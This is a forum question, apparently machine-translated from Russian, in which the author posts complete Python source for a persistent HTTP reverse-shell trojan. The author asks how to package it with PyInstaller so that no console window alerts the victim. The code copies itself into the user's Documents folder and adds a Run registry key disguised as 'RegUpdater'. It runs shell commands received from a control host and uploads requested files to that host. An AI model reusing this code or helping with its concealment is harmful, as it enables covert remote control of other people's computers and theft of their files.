Я прошел все этапы отладки Pyinstaller, и я как бы нахожусь здесь в конце, вот почему я обращаюсь к этому.

Я пытаюсь перейти на Python3, написав несколько простых пользовательских инструментов для тестирования, и в настоящее время я пишу постоянный троян обратной оболочки HTTP. Полный код ниже:

import requests
import subprocess
import time
import os
import shutil
import winreg

path = os.getcwd().strip('\n')

null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split(b'=')

destination = str(userprof.decode().strip('\n\r')) + '\\Documents\\' + 'persistence.exe'

if not os.path.exists(destination):
    shutil.copyfile(path + '\persistence.exe', str(destination))
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run",0,winreg.KEY_ALL_ACCESS)
    winreg.SetValueEx(key,'RegUpdater',0,winreg.REG_SZ,destination)
    key.Close()

while True:
    req = requests.get('http://192.168.0.10')
    command = req.text

    if "terminate" in command:
        break
    elif 'grab' in command:
        grab,path = command.split(" * ")
        if os.path.exists(path):
            url = 'http://192.168.0.10/store'
            files = {'file': open(path, 'rb'),'path': path}
            r = requests.post(url, files=files)
        else:
            post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')
    else:
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
        post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())

    time.sleep(3)

Этот скрипт работает нормально при выполнении с интерпретатором Python; он подключается к серверу на другом компьютере с помощью HTTP-запроса GET и устанавливает себя в папку документа пользователя, одновременно устанавливая ключ запуска для сохранения. Затем команды могут быть выполнены на стороне сервера, а выходные данные передаются через запросы POST.

Очевидно, я хотел бы скомпилировать это в отдельный EXE-файл, чтобы сделать его настоящим трояном. Я могу сделать это с помощью следующей команды, указанной в документации Pyinstaller:

pyinstaller --onefile persistence.py

Это работает просто отлично, скрипт работает без ошибок, как и раньше, будь то при запуске из терминала или по нажатию. К сожалению, он также открывает пустое окно терминала, которое невозможно пропустить; очевидно, это нежелательная черта для трояна. Я не хотел бы обременять пользователя другим окном на их экране!

Следующее должно предотвратить открытие этого окна консоли:

pyinstaller --onefile --noconsole persistence.py

Эта команда завершается без ошибок, но на этот раз скрипт не запустится. Всякий раз, когда выполняется, независимо от того, щелкнул он по нему или был выполнен из терминала, он возвращает окно с сообщением "Не удалось выполнить постоянство сценария".

Я попытался огромное количество отладки, чтобы исправить это. Добавление --debug all к команде freeze не дает никакой полезной информации, которую я могу различить. Я был в Google и в проблемах Pyinstaller, и я видел много вещей, которые, по-видимому, указывают на проблему с модулем подпроцесса и на то, как обрабатываются STDIN и STDOUT, но при этом не было никаких проблем с моим сценарием и подпроцессом.Звонки с помощью всплывающих окон (перенаправление STDIN, STDOUT и STDERR), похоже, решают эту проблему. Я всегда получаю исполняемый файл, который выдает "Не удалось выполнить скрипт".

Я использую текущую версию dev для pyinstaller, я пробовал ее без упаковки (без кубиков), и я даже пытался вручную удалить консольное окно в самом скрипте, но безуспешно.

Так что я обращаюсь к вам, ребята. Есть идеи? Большое спасибо за ваше время, и дайте мне знать, если вам нужно больше информации!

0